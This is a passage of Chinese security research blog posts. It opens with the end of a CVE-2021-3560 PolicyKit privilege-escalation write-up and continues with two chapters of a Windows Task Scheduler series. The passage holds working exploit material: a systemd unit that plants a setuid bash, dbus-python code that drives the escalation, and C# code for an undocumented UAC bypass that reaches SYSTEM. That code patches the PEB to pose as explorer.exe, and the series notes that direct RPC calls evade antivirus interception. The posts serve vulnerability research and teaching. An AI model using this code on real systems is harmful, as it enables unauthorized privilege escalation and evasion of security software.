      EnableUnitFiles(in  as arg_0,
                      in  b arg_1,
                      in  b arg_2,
                      out b arg_3,
                      out a(sss) arg_4);
      ...
  }
...

EnableUnitFiles 可以接受传入一组 systemd 单元文件路径,并加载进入 systemd,接着再调用ReloadStartUnit 方法后即可以 root 权限执行任意命令。systemd 单元文件内容如下:

[Unit]
AllowIsolate=no

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'

看似流程非常明确,但是在实际利用中却出现了问题。问题出在 EnableUnitFiles  方法,首先编写代码调用此方法:

def enable_unit_files():
    print('[*] Starting EnableUnitFiles ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)

运行后输出如下:

dev@test:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)

可见并没有进入我们注册的 Authentication Agent,而是直接输出了 Interactive authentication required 的错误信息。通过实际的代码分析,定位到如下代码逻辑:

static void
polkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority         *authority,
                                                          PolkitSubject                  *caller,
                                                          PolkitSubject                  *subject,
                                                          const gchar                    *action_id,
                                                          PolkitDetails                  *details,
                                                          PolkitCheckAuthorizationFlags   flags,
                                                          GCancellable                   *cancellable,
                                                          GAsyncReadyCallback             callback,
                                                          gpointer                        user_data)
{
  // ...
  if (polkit_authorization_result_get_is_challenge (result) &&
      (flags & POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION))
    {
      AuthenticationAgent *agent;
      agent = get_authentication_agent_for_subject (interactive_authority, subject);
      if (agent != NULL)
        {
          g_object_unref (result);
          result = NULL;

          g_debug (" using authentication agent for challenge");
          authentication_agent_initiate_challenge (agent,
                                                   // ...
          goto out;
        }
    }

这里检查了 Message Flags 的 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是不是为 0,如果是 0,则不会进入到使用 Authencation Agent 的分支。通过查阅文档,我发现 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是消息发送者可控的,D-Bus 的类库提供了相应的 setter:https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4,也就是 dbus_message_set_allow_interactive_authorization 方法。

但是当我去翻阅 dbus-python 的文档时,发现其并没有提供这个方法。于是我修改了版 dbus-python添加了此方法,地址为:https://gitlab.freedesktop.org/RicterZ/dbus-python

PyDoc_STRVAR(Message_set_allow_interactive_authorization__doc__,
"message.set_allow_interactive_authorization(bool) -> None\n"
"Set allow interactive authorization flag to this message.\n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
{
    int value;
    if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
    if (!self->msg) return DBusPy_RaiseUnusableMessage();
    dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);
    Py_RETURN_NONE;
}

同时这项修改已经提交 Merge Request 了,希望之后会被合并。

0x08. The Final Exploit

添加了 set_allow_interactive_authorization 后,利用 dbus-python 提供的低级接口构建消息:

def method_call_install_service():
    time.sleep(0.1)
    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))
    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())
    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')
    message.set_allow_interactive_authorization(True)
    message.set_no_reply(True)
    message.append(['/tmp/{}'.format(FILENAME)])
    message.append(True)
    message.append(True)
    bus2.send_message(message)

设置之后再发送即可收到 PolicyKit 发来的 BeginAuthentication 请求了。实际编写框架已经大体明了了,写一个利用出来并不困难。最终利用成功截图如下:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

Golang 和 C 版本的利用代码如下:

0x09. Conclusion

CVE-2021-3560 是一个危害被低估的漏洞,我认为是由于漏洞作者不是特别熟悉 D-Bus 和 PolicyKit 的相关机制导致错过了 Authentication Agent 的特性,从而构建出限制较大的 PoC。我自是不敢说精通 D-Bus 和 PolicyKit,但是在最近时间的漏洞挖掘和研究过程中,参考了大量的文档、历史漏洞分析,同时阅读了大量的代码后,才能意识到使用 Authentication Agent 来进行利用的可能性。

同时,作为一个 Web 漏洞的安全研究员,我自是将所有的东西都类型转换到 Web 层面去看待。D-Bus 和 Web 非常相似,在挖掘提权的过程中并没有受到特别大的阻力,却收获了非常多的成果。希望各位安全从业者通过 D-Bus 来入门二进制,跳出自己的舒适圈,也可以增加自己在漏洞挖掘中的视野(什么,内存破坏洞?想都不要想了,开摆.jpg)。

0x0a. Reference

Advanced Windows TaskScheduler Playbook

By: zcgonvh
21 June 2022 at 08:08

Part.1 basic

0x00 前言

Advanced Windows TaskScheduler Playbook

这个系列是关于Windows计划任务中一些更为本质化的使用,初步估计大概四章。

相比于工具文档或技术文章,我更倾向于将这几篇文章作为传统安全研究的思维笔记,一方面阐述研究过程与思维逻辑,另一方面记录研究成果落地为实战工具的过程。

武器化也好安全开发也罢,将理论基础作为依据,以研究成果作补充,从实战效果作证明的三板斧不能变。

希望在使用之余,能为大家带来研究思路上的启发。

0x01 现象

对Windows对抗有一定研究的,大多都接触过计划任务的相关知识。

作为文档化的组件之一,好处是有完整的官方文档https://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page作为参考,例如我们可以几乎不费力气找到很常用的登录自启动代码https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--c---,稍作修改即可直接使用。

坏处是,文档太长了,面向对象的代码也太复杂了(相对于脚本尤其是安全工具而言)。以上文登录自启动的代码为例,十几个API调用,无故引入且无法去掉的taskschd.dll导入,为什么普通用户执行不成功,S-1-5-32-544是什么,TASK_LOGON_GROUP的定义又在哪?

好在我们是安全研究者,安全研究更擅长从结论/状况反推原因,现在来发挥所长:

我们知道计划任务可以通过UI或者命令行方式进行创建,其参数和选项大部分是对应的。

我们知道计划任务可以通过ITaskService接口或是TaskSchedulerClass类以及一系列对象进行操作。

我们知道计划任务可以导出一个XML,通过UI或是命令行均可再将其导入。

我们知道每一个计划任务文件都存放于%SystemRoot%\System32\Tasks目录下,内容和导出的XML完全相同。

所以,从安全研究的角度,这里可以提出一个问题:计划任务的本质是什么?是那些类,还是XML?

如果是类的话,那么XML在其中充当着什么角色,是如何解析的?

如果是XML的话,那么类充当的又是什么角色?

0x02 依据

虽然Windows提供了绝大部分符号,但在此时还没有调试Windows服务的必要。我们在横向移动的过程中依然会用到计划任务程序,那么首先抓个包:

Advanced Windows TaskScheduler Playbook

看到了满屏的RPC调用,对其解密后可以看到以下信息:

Advanced Windows TaskScheduler Playbook

我们看到了几个重点,首先调用号(Opnum)为1;其次RPC Stub Data即调用的参数中明显出现了新任务名称,以及随后的XML。

windows task scheduler rpc为关键字搜索,我们可以找到MS-TSCH协议https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/21e8e86e-ee5a-469d-917f-28a41f3c25a4,依文档所述,这是建立在RPC协议之上、用于远程对计划任务进行增删改查的接口,同时,我们也看到了熟悉的ITaskSchedulerService

Advanced Windows TaskScheduler Playbook

参考ITaskSchedulerService SchRpcRegisterTask (Opnum 1)https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/849c131a-64e4-46ef-b015-9d4c599c5167一章,对比参数可基本进行确认:

Advanced Windows TaskScheduler Playbook

最后,以impacket作为佐证,众所周知atexec.py采用计划任务方式进行利用,其中创建远程计划任务同样通过SchRpcRegisterTask调用:

Advanced Windows TaskScheduler Playbook

于是,我们得到了一个理论依据:微软通过MS-DCERPC协议,在上层构建了MS-TSCH协议,该协议通过XML作为参数,实现了对计划任务的管理。

0x03 本质

有了MS-TSCH作为理论依据,让我们换个思路,尝试从设计者角度进行思考:

(现在,你是一名架构师了)

假设现在一无所有,你会如何设计一个计划任务程序?

首先,所有人都可能调用计划任务,意味着进程应当常驻后台;低权限用户并不能以高权限用户身份进行操作,所以进程需要高权限,并实现模拟机制;高权限后台进程要考虑到特权提升的问题,所以需要存在合理的鉴权机制;计划任务不涉及硬件管理,也并非系统运行所必需,所以无需进入内核。

其次,接受其它进程调用需要有一个合理的通信机制。Windows进程间通信方式众多,出于鉴权考虑,命名管道和alpc均可作为可选项;在易用性方面,alpc和命名管道均有RPC上层封装可用;在性能方面,alpc是毫无疑问的首选(详参微软官方博客alpcport相关)。

之后,出于管理需要,需要支持远程调用。考虑到稳定性,远程通信的方式大多建立在TCP上层;考虑到防火墙与安全性因素,支持加密的HTTPS/SMB/RPC/DCOM是几个可选项;鉴于远程管理往往有着最小配置与降级原则,RPC由于可独立配置、能够通过ncacn_np使用SMB协议通信且不受额外选项干扰,在此优于DCOM;鉴于API统一的原则,统一了本地通信与远程通信的RPC是唯一可选项。

最后,考虑到拓展的需要,需要可拓展的存储方式。考虑到MS-TSCH至少有着十五年的历史,采用XML兼顾可读性与拓展性无可厚非。

于是,有了基于MS-DCERPC与直接XML传递的MS-TSCH协议。

在微软的实现中,Schedule服务以SYSTEM权限运行,同时拥有SeImpersoante、SeAssignPrimaryToken等特权提供不同用户权限的切换。服务通过注册ncalrpc、ncacn_np(atsvc)以及向epmapper注册三种方式公开了本地与远程的RPC调用端点(EndPoint),为调用方提供MS-TSCH协议规定的服务。

好的,我们有了一个通过XML进行通信、且会进行透明鉴权的计划任务服务。

现在,把思路再次转回调用者。

(现在,你是一名程序员。这个功能很重要,怎么实现没人管,明天上线)

不可否认,对照模板编写XML这一做法,对于懒人(我特指初级代码开发人员,无贬义)固然有着无以伦比的方便。但对接过API的都知道,世界上第一痛苦的API就是调用万能接口,第二绝对是通过XML进行数据传递。

MS-TSCH出生在至少十五年前,很不幸,两毒俱全。来想象一下你是个防守方,现在应用一个临时缓解措施,需要建立并下发以下计划任务监控:当事件ID 1234触发时,执行powershell命令调用某个API。

想到要看协议文档就很头疼对吧,想到要写C来调用RPC就更头大了对吧。

所以微软通过COM,在Taskschd.dll内对MS-TSCH进行面向对象封装,其CLSID0F87369F-A4E5-4CFC-BD3E-73E6154572DD,并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。

为了支持脚本功能,为这个类注册了名为Schedule.ServiceProgId,并实现了IDispatch接口,使得VBS/Powershell等脚本语言能够进行快速调用。

这些是纯粹的封装与帮助类,和实际的协议完全无关。

到这里,TaskScheduler服务(Service或RPC EP)的本质也就呼之欲出:鉴权,接收一个XML(无论是帮助类生成的还是自己构建的),注册到自己业务环境内。

从这个角度看来,计划任务的本质和传统WEB并没有任何区别,甚至可以直接用下面这张图进行类比:

Advanced Windows TaskScheduler Playbook

RPC对应HTTP,OPNUM对应Action/Method,XML对应Body。语法、语义、时序完全对应,是的,完美。

实际上,除却纯粹二进制的领域,至少一半的Windows组件能够用这样的方式进行类比。

最后,我们把思维转回安全角度。

(放开我,我是信息安全工程师.jpg)

从攻击者视角看,由于绝大部分文档都仅仅讲述对COM API的调用,进而可猜想绝大部分防御措施会针对Taskschd.dll,通过RPC进行绕过可能是一个可行的突破方案。

而从防御者视角看,绕过Taskschd.dll这一wrapper可能会对自身防御体系造成绕过甚至击穿(这里“击穿”二字绝非危言耸听)。

0x04 COM

了解到部分本质之后,我们开始进行更为简洁,更贴近于安全思维的调用。

(不要忘记,我们已经把思维转换回了安全角度)

在参考c++版本示例代码的时候,我们可以看到微软同时提供了XML参考:https://docs.microsoft.com/en-us/windows/win32/taskschd/logon-trigger-example--xml-,并提示了可以使用ITaskFolder::RegisterTask通过XML直接注册计划任务。

随后调用ITaskFolder::RegisterTask来替代之前的繁琐方式(参考代码依然来自MSDN):

    ITaskFolder* pRootFolder = NULL;
    hr = pService->GetFolder(_bstr_t(L"\\"), &pRootFolder);
    if (FAILED(hr))
    {
        printf("Cannot get Root folder pointer: %x", hr);
        pService->Release();
        CoUninitialize();
        return 1;
    }
    IRegisteredTask* pRegisteredTask = NULL;
    pRootFolder->RegisterTask
    (
        _bstr_t(wszTaskName),
        _bstr_t("xml"),
        TASK_CREATE_OR_UPDATE,
        _variant_t(),
        _variant_t(),
        TASK_LOGON_INTERACTIVE_TOKEN,
        _variant_t(),
        &pRegisteredTask
    );

0x05 RPC

同样的,MS-TSCH 6.3 Appendix A.3: SchRpc.idlhttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/96c9b399-c373-4490-b7f5-78ec3849444e提供了完整的IDL,通过编译IDL即可直接进行简单的RPC调用:

RpcTryExcept
  {
    wchar_t* pActualPath = 0;
    const wchar_t* xml = L"<!--snipped xml-->";
    _TASK_XML_ERROR_INFO *errorInfo = 0;
    SchRpcRegisterTask
    (
      schrpc_binding_handle,
      L"\\Test Task",
      xml,
      6,
      0,
      0,
      0,
      0,
      &pActualPath,
      &errorInfo
    );
  }
RpcExcept(1)
  {
    DWORD code = RpcExceptionCode(); 
    printf("RPC Exception %d\n", code);
  }
RpcEndExcept;

至少在本文发布的时候,利用直接RPC调用可以绕过相当一部分防护软件对计划任务自启动的拦截。

0x06 总结

本章从协议层面,讲述了Windows计划任务程序从设计、协议、实现均基于XML格式这一基础事实,并以此为基础介绍了更为简单方便的调用。

基础之所以是基础,在于后续相关知识与应用一定会与其具备强关联,而绝非单纯的浅显易懂。

我一直认为,编程思想与设计模式才是最基础的安全技术。在这冗长而无趣的第一章中,我们通过面向对象中抽象封装这两大基础概念,以及背后隐藏的Transport/Channel这个被微软大肆使用的名词(相信如果搜索了上面几节其中的关键字,并且看了原文就一定有印象)来从侧面分析微软的设计思想,从而能够更好地理解组件的运作方式,最终找到其中的薄弱点,并加以利用。

后续几章无一例外,均将以此为基础,来讲几个有趣的应用案例。

Part.2 from COM to UAC bypass and get SYSTEM dirtectly

捉虫:前篇文章0x03本质一节关于COM封装类的CLSID有误,应为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

公众号无法修改,在此记录并望周知。

从本文起,专有名词将以官方英文原文着重标记。

0x00 思考

让我们上一章通过对MS-TSCH进行分析理解,大致明确了微软关于计划任务程序的设计思路:以文档化XML格式作为描述、RPC协议为基础,在公开函数式RPC调用的同时,通过COM Helper实现面向对象。

编程思想与设计模式才应当是最基础的安全技术,微软在计划任务程序设计中明显体现了一个进化的思想,从面向过程进化到面向对象,这个过程就是常说的封装

让我们继续用常见的Web角度进行类比,可以理解为:

PHP5进化至PHP7。
PHP/ASP进化至Java/.Net。
JS进化至TS/ES6。

(在开发与设计层面,一些思想是统一且几乎不会改变的)

和渗透时常用的脚本或工具不同,在一个完整的系统中,无论是一套封装后的组件,或是一组完善的协议实现,其本身并没有实现之外的任何意义。只有在使用者(或称“调用方”)根据某些业务逻辑进行调用,随之多个完整的业务功能按照相关逻辑组成一套系统,此时的组件才称得上“有意义”。

(如果你认同这个观点,那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑,每一个

计划任务程序作为文档化组件之一,我们当然可以直接根据文档进行调用。无论是直接利用十五年前微软提供的C/C++或者VBS,或是进一步利用十四年前vs2008附带的的C# Interop,再或是利用十年前用烂的的PowerShell都能够直接产生一些红队(Redteam)武器化(Weaponize)渗透测试工具(Pentesting Tools)

感谢微软提供了丰富的API为渗透测试带来方便,但回归研究者思路,我们不该忽略这一点:计划任务作为重要系统组件之一,被广泛应用于系统多个功能模块中。

所以,让我们来思考一组问题:

有哪些自带功能调用了计划任务?
这个功能可以起到什么作用?
这个功能是否进行了组件化,即可以通过某种方式进行调用?
是否存在利用或滥用的可能?

0x01 基础

在回答这个问题之前,让我们重温COM基础。

微软提供了非常完善的基础知识文档https://docs.microsoft.com/en-us/windows/win32/com/com-fundamentals,以及配套的示例代码,这些文档和代码的历史至少可以追溯至Windows 2000的时代。

(我不想在查找资料上花太多篇幅。根据个人经验,花费两天时间,拿出挖洞找链的劲头,配合写论文找参考资料的态度,将原文从头到尾啃一遍,比看十篇技术文章都要有用的多。包括你在看的这篇

参考文档顺便查漏补缺,我们重新回忆一下最为基础的知识点:

1.在设计层面,COM模型分为接口实现

例如计划任务示例代码中的ITaskService

2.区分COM组件的唯一标识为Guid,分别为针对接口的IID(Interface IDentifier)与针对类的CLSID(CLaSs IDentifier)

例如CLSID_TaskScheduler定义为0F87369F-A4E5-4CFC-BD3E-73E6154572DD

3.COM组件需要在注册表内进行注册才可进行调用。通常情况下,系统预定义组件注册于HKEY_LOCAL_MACHINE\SOFTWARE\Classes,用户组件注册于HKEY_CURRENT_USER\SOFTWARE\ClassesHKEY_CLASSES_ROOT为二者合并后的视图,在系统服务角度等同于HKEY_LOCAL_MACHINE\SOFTWARE\Classes

例如计划任务组件的注册信息注册于HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}

4.Windows最小的可独立运行单元是进程,最小的可复用的代码单元为类库,所以COM同样存在进程外(In-Process)进程内(Out-Of-Process)两种实现方式。多数情况下,进程外COM组件为一个exe,进程内COM组件为一个dll。

例如计划任务的COM对象为进程内组件,由taskschd.dll实现。

5.为方便COM组件调用,可以通过ProgId(Programmatic IDentifier)CLSID指定别名。

例如计划任务组件的ProgId为Schedule.Service.1

6.客户端调用CoCreateInstanceCoCreateInstanceExCoGetClassObject等函数时,将创建具有指定CLSID的对象实例,这个过程称为激活(Activation)

例如微软示例代码中的CoCreateInstance(CLSID_TaskScheduler,....)

7.COM采用工厂模式对调用方与实现方进行解耦,包括进程内外COM组件激活、通信、转换,IUnknown::QueryInterfaceIClassFactory始终贯穿其中。

例如微软示例代码中的一大堆QueryInterface

现在,我们有了对COM的基本认知,接下来要在一个庞大、复杂的操作系统之中,跟踪一个微小的COM对象调用了。无论多么复杂的系统,归根结底由人开发,由编译器编译。我们知道Windows的编译器为VS,语言为微软风格的C/C++,开发者为三哥

那么来到思考时间:你是一名三哥程序猿,恒河水使你的代码和你的身体一样无比健壮。现在,你要用VS建立一个C/C++项目,里面调用计划任务做一些事。

-你会怎么写?

-#include <taskschd.h>

-为什么?

-“标准”示例如此。

很好,我们得到了第一种方式:

在所有系统组件中搜索字符串形式的0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

然后重新把思维切换回安全领域,暂时客串一番样本分析:你是一名应急响应工程师,陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本,已知其中某样本会创建计划任务,在没自动化沙箱的情况下怎样能把它揪出来进行后续分析?

-那TM还用说?ProcMon开起来、某绒刀砍它。

于是我们有了第二种方式:

跟踪注册表HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32的读取,通过日志、Hook、劫持等等方式获取调用栈。

最后,把思维切到我们最熟悉的安全开发/红蓝对抗:现在洋大人发了个框架,能随意拓展巨牛逼,能过宇宙杀软加计划任务巨好用,还有源码能抄简直是洋菩萨。唯一一个问题:不知道在哪调了计划任务,就看到一堆配置文件一堆设计模式。

-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊

我们拿到了第三种方式:

考虑到工厂与动态调用,在配置文件等静态数据中搜索0F87369F-A4E5-4CFC-BD3E-73E6154572DD,以及其二进制表现形式。

0x02 发现

现在,我们有三种可行方案来进行跟踪了。

思考一下三种方式的优劣:第二种动态追踪的方式能够直观的找到调用方,但一个前提是必须存在活动的调用。
计划任务功能并不是一个需要频繁调用的功能,Windows的复杂性也决定了无法手动访问每一个功能,所以不妨暂时搁置。

第一三种均可归结为静态查找,考虑到我们研究的目标基于COM,而COM绝大多数配置基于注册表,所以首先在注册表这个最大的公共配置文件内进行搜索,可以得到如图所示结果:

Advanced Windows TaskScheduler Playbook
C:\>reg query HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} /s

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    (默认)    REG_SZ    Virtual Factory for MaintenanceUI
    AppId    REG_SZ    {A6BFEA43-501F-456F-A845-983D3AD7B8F0}
    LocalizedString    REG_EXPAND_SZ    @%SystemRoot%\System32\MaintenanceUI.dll,-1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\Elevation
    Enabled    REG_DWORD    0x1

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\InProcServer32
    (默认)    REG_EXPAND_SZ    %SystemRoot%\System32\shpafact.dll
    ThreadingModel    REG_SZ    Apartment

HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\VirtualServerObjects
    {0f87369f-a4e5-4cfc-bd3e-73e6154572dd}    REG_SZ

我们发现了一个可疑的东西:

一个由%SystemRoot%\System32\shpafact.dll实现的未文档化COM组件A6BFEA43-501F-456F-A845-983D3AD7B8F0
一个未文档化的自定义注册表项VirtualServerObjects,其值包含计划任务组件CLSID。
Elevation@Enabled=1,意味着可以进行UAC自动提升。

接下来要做的,就是对这个组件进行分析,找到其设计层面的意义,以及探寻是否存在利用的可能。

0x03 分析

接下来,我们开始分析COM所实现功能,以及是否可以利用。

%SystemRoot%\System32\shpafact.dll代码量极少,让我们用五分钟时间进行快速分析。首先根据https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject,COM通过固定导出函数DllGetClassObject创建实例,shpafact.dll创建了CClassFactory作为工厂类:

Advanced Windows TaskScheduler Playbook

CClassFactory作为工厂支持创建多个对象,我们的目标组件A6BFEA43-501F-456F-A845-983D3AD7B8F0并非已知的两个CLSID之一,将进入最下方CElevatedFactoryServer::CreateInstance分支:

Advanced Windows TaskScheduler Playbook

CElevatedFactoryServer::CreateInstance方法最终将直接返回CElevatedFactoryServer对象实例:

Advanced Windows TaskScheduler Playbook

CElevatedFactoryServer对象继承自IUnknown,且仅有一个对象方法ServerCreateInstance

Advanced Windows TaskScheduler Playbook

ServerCreateInstance方法签名为HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*),当REFCLSID参数已在VirtualServerObjects注册表项注册的情况下,将直接创建指定CLSID的对象:

Advanced Windows TaskScheduler Playbook

根据QueryInterface方法可得到IID_ElevatedFactoryServer为804bd226-af47-4d71-b492-443a57610b08

Advanced Windows TaskScheduler Playbook

此时我们拿到了COM调用必需的CLSIDIID虚函数表方法签名,稍作整理即可得到以下IDL

[uuid(804bd226-af47-4d71-b492-443a57610b08)]
interface IElevatedFactoryServer : IUnknown {
    HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);
};

[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]
coclass ElevatedFactoryServer {
    interface IElevatedFactoryServer;
};

0x04 调用

获取到IDL之后,直接使用合适的语言进行调用即可,例如转换为C#等价Interop代码:

[Guid("804bd226-af47-4d71-b492-443a57610b08")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IElevatedFactoryServer
{
  [return: MarshalAs(UnmanagedType.Interface)]
  object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}

我们需要创建提升后的(Elevated)COM对象,所以必须使用CoGetObject结合Elevation Moniker进行激活:

BIND_OPTS3 opt = new BIND_OPTS3();
opt.cbStruct = (uint)Marshal.SizeOf(opt);
opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;

随后调用ServerCreateElevatedObject方法获取ITaskService实例:

var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;

这个ITaskService实例实际上在提升后的进程中运行,所以可使用TASK_RUNLEVEL_HIGHEST标记创建以完整令牌运行的计划任务,这等价于将xml文件Task\Principals\Principal\RunLevel的值指定为HighestAvailable

<Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

使用此xml进行注册:

svc.Connect();
var folder = svc.GetFolder("\\");
var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);

以及不要忘记对当前进程PEB进行Patch:

var fake = "explorer.exe";
var fake2 = @"c:\windows\explorer.exe";
var PPEB = RtlGetCurrentPeb();
PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
RtlInitUnicodeString(pImagePathName, fake2);
RtlInitUnicodeString(pCommandLine, fake2);

PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
var first = pFlink;
do
{
    LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
    if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
    {
        pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
        continue;
    }
    try
    {
        if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
        {
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);
            LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
            break;
        }
    }
    catch { }
    pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);

编译执行,不出意外的话我们将以提升后的身份运行xml中指定的命令(这里是cmd):

Advanced Windows TaskScheduler Playbook

至此,我们成功的发现了一个未公开的UAC Bypass

但这并不是结束。我们前面提到了修改XML文件Principal节点的值来注册以完整令牌运行的计划任务,而这个XML节点架构定义记录于MS-TSCH 2.5.6 Principal Schema Parthttps://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/b9420a4c-fe40-45a0-ae85-2d57e051409b

根据文档所述,Principal节点可包含子节点UserId,用于提供计划任务执行时的用户身份信息,其格式可以为用户名SIDUPNFQDN

所以我们可以在XML中指定UserIdSYSTEM

<Principals>
    <Principal id="Author">
      <UserId>SYSTEM</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

随后,我们指定的命令将直接以SYSTEM身份运行:

Advanced Windows TaskScheduler Playbook

即:我们通过一次无文件UACBypass直接获取到SYSTEM权限。

0x05 原理

至此,单纯的“安全研究”至武器化落地已经结束了。

但从纯粹知识的领域,这还不够。

请把思维暂时回溯至0x01 基础一节,重新打开MSDN,对比完整的目标注册表项,在最后来为本文补充一个最为重要的理论依据。

我们知道经过UAC提升的COM对象需要使用CoGetObject函数,结合Elevation Moniker进行激活,这个行为记录在https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker

参考文章代码,我们注意到在微软的示例中采用CLSCTX_LOCAL_SERVER作为激活上下文标记,这表示要求DCOMLaunch创建一个新的进程外COM对象,A6BFEA43-501F-456F-A845-983D3AD7B8F0对象仅配置了InProcServer32,这将导致代理激活(Surrogate Activation)https://docs.microsoft.com/en-us/windows/win32/com/registering-the-dll-server-for-surrogate-activation

关于代理激活有两个重要的点:首先从安全研究角度,配置了APPID的代理激活往往存在自定义权限检查。

参考文档https://docs.microsoft.com/en-us/windows/win32/com/launchpermissionhttps://docs.microsoft.com/en-us/windows/win32/com/accesspermission,默认隐式权限检查由注册表项HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermissionHKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission共同决定,其值为二进制格式表示的安全描述符Security Descriptor(SD) binary form

所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式,采用Powershell进行解析后输出:

$x=get-itemproperty 'hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl

将得到类似下面的结果:

BinaryLength       : 20
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 3
SecurityIdentifier : S-1-5-4
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None

参考https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sidsS-1-5-4对应NT AUTHORITY\INTERACTIVE,任何通过交互式登录的用户都将授予该组身份,通过whoami /groups也能够确认这一点:

whoami /groups

